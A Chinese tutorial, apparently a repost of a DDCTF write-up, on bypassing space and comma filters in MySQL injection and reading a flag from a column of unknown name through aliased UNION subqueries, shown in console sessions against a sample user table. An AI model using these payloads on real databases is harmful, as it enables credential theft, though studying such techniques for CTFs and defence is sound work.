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Mysql如何巧妙的绕过未知字段名详解

  • 时间:2022-09-02 12:31 编辑: 来源: 阅读:
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摘要:Mysql如何巧妙的绕过未知字段名详解
[b]前言[/b] 本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍: [b]实现思路[/b] 题目过滤空格和逗号,空格使用%0a,,,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过; 存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下: 思想就是获取flag,让其在已知字段名下出现; [b]示例代码:[/b]
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)
[b]总结[/b] 以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对编程素材网的支持。
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